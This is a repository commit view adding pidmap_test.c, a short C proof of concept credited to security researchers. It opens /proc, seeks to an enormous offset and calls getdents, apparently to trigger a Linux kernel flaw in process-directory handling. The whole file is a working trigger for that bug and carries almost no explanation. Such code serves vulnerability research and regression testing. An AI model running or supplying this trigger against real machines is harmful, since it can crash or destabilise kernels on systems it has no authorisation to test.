summaryrefslogtreecommitdiffstats
path: root/pidmap_test.c
diff options
context:
space:
mode:
Diffstat (limited to 'pidmap_test.c')
-rw-r--r--pidmap_test.c29
1 files changed, 29 insertions, 0 deletions
diff --git a/pidmap_test.c b/pidmap_test.c
new file mode 100644
index 0000000..f320b85
--- /dev/null
+++ b/pidmap_test.c
@@ -0,0 +1,29 @@
+// Found by Tavis Ormandy <taviso@cmpxchg8b.com>
+// Implementation by Robert ?wi?cki <robert@swiecki.net>
+
+#define _GNU_SOURCE 1
+#define _LARGEFILE64_SOURCE
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+
+int main(void)
+{
+ int fd = open("/proc", O_DIRECTORY | O_RDONLY);
+ if (fd == -1) {
+ perror("[-] Could not open /proc");
+ return -1;
+ }
+ struct linux_dirent {
+ long d_ino;
+ off_t d_off;
+ unsigned short d_reclen;
+ char d_name[];
+ };
+ lseek64(fd, 4000000000ULL, SEEK_SET);
+ struct linux_dirent b[100];
+ syscall(__NR_getdents, fd, b, sizeof(b));
+}